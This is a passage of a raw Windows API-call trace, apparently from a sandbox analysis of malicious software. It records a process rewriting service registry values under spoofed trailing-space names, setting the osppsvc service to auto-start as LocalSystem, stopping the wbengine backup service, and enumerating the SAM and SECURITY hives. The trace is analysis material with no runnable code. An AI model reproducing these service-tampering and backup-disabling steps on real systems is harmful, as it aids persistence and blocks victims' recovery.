lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.313] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.313] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.313] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0236.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0236.313] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0236.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0236.313] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.313] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.313] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.314] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.314] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.314] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.314] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.314] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.314] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.314] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.314] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.314] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.314] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.314] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.314] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.314] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.315] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0236.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0236.315] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0236.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0236.315] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.315] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.315] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.315] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.315] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.315] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.315] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.315] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.315] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.316] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.316] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.316] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.316] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.316] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.316] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.316] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.316] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0236.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0236.316] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0236.316] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.316] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.317] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.317] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.317] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.317] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.317] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.317] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.317] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.317] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.317] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.317] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.317] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.317] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.317] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.318] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.318] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"", cbData=0x5e | out: lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"") returned 0x0 [0236.318] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" [0236.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0236.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0236.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0236.318] LocalFree (hMem=0x7f03d0) returned 0x0 [0236.318] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"", cbData=0x5e | out: lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"") returned 0x0 [0236.318] OpenServiceW (hSCManager=0x803918, lpServiceName="osppsvc", dwDesiredAccess=0x2) returned 0x803990 [0236.352] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0236.373] CloseServiceHandle (hSCObject=0x803990) returned 1 [0236.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0236.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0236.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0236.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0236.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0236.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.373] RegCloseKey (hKey=0x150) returned 0x0 [0236.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0236.373] RegCloseKey (hKey=0x154) returned 0x0 [0236.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0236.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0236.373] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xafbc0000, ftLastWriteTime.dwHighDateTime=0x1ca90be, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0236.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.374] GetLastError () returned 0x20 [0236.374] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0236.374] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0236.374] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0236.374] OpenServiceW (hSCManager=0x803918, lpServiceName="wbengine", dwDesiredAccess=0x20) returned 0x8038a0 [0236.375] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0236.462] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0236.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0236.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0236.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0236.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0236.463] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0236.463] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0236.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0236.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0236.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.463] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0236.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0236.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.463] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0236.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0236.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.464] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0236.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0236.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.464] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: 